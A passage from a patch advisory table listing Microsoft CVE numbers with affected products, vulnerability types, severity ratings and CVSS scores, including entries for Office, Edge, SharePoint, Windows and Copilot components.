Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  